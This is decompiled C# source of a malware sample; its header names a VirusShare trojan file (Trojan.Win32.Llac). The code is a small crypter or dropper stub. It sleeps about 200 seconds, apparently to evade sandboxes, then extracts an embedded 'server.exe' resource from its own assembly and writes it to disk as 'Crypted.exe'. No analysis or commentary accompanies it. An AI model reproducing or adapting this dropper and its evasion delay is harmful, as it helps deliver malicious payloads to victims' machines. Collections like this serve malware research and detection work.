// Decompiled with JetBrains decompiler // Type: Crypter.Program // Assembly: Crypter, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: BD0FDAD3-CB00-4BD8-957C-14BD08D1C65F // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.biwq-8f2b3db8f733ad7dae55361548b44c61e9ca8357ba241dfd9c7afc95bfda4428.exe using Crypter.Properties; using System; using System.IO; using System.Reflection; using System.Threading; namespace Crypter { internal class Program { private static void createFile() { Assembly executingAssembly = Assembly.GetExecutingAssembly(); string name = "Crypter.Resources.server.exe"; if (!name.EndsWith(".exe")) return; FileInfo fileInfo = new FileInfo("Crypted.exe"); if (fileInfo.Exists) fileInfo.Delete(); FileStream fileStream = fileInfo.OpenWrite(); Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name); byte[] buffer = new byte[4096]; int count; while ((count = manifestResourceStream.Read(buffer, 0, 4096)) > 0) fileStream.Write(buffer, 0, count); fileStream.Close(); manifestResourceStream.Close(); Thread.Sleep(500); } private static void getAllResource() { foreach (string manifestResourceName in Assembly.GetExecutingAssembly().GetManifestResourceNames()) Console.WriteLine(manifestResourceName); } private static void Main(string[] args) { Console.WriteLine(Environment.CurrentDirectory); Thread.Sleep(200000); byte[] server = Resources.server; Program.createFile(); } } }